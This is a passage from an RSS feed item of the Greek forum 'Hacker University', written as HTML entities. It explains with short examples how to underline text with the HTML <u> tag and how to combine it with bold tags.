&#963;&#964;&#959; site &#964;&#959;&#965; <i>Hacker Universtiy</i>!<br /><br /><br />&#915;&#953;&#945; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#955;&#941;&#958;&#951; <u>&#965;&#960;&#959;&#947;&#961;&#945;&#956;&#956;&#953;&#963;&#956;&#941;&#957;&#951; (underlined)</u> &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br />&lt;u&gt;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&lt;/u&gt;<br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br /><u>&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;</u><br /><br />&#928;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#922;&#945;&#955;&#974;&#962; &#942;&#961;&#952;&#945;&#964;&#949; &#963;&#964;&#959; site &#964;&#959;&#965; &#60;u&#62;Hacker University&#60;/u&#62;!<!--c2--></div><!--ec2--><br /><br />&#922;&#945;&#955;&#974;&#962; &#942;&#961;&#952;&#945;&#964;&#949; &#963;&#964;&#959; site &#964;&#959;&#965; <u>Hacker University!</u><br /><br /><br />&#932;&#941;&#955;&#959;&#962;, &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; &#964;&#945;&#965;&#964;&#972;&#967;&#961;&#959;&#957;&#945; &#948;&#973;&#959; &#942; &#954;&#945;&#953; &#964;&#945; &#964;&#961;&#943;&#945; tags:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;u&#62;&#60;b&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/b&#62;&#60;/u&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br /><b><u>&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;</u></b><br /><br /></div>]]></description>
		<pubDate>Sat, 07 Mar 2009 22:09:44 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=33</guid>
	</item>
</channel>
</rss>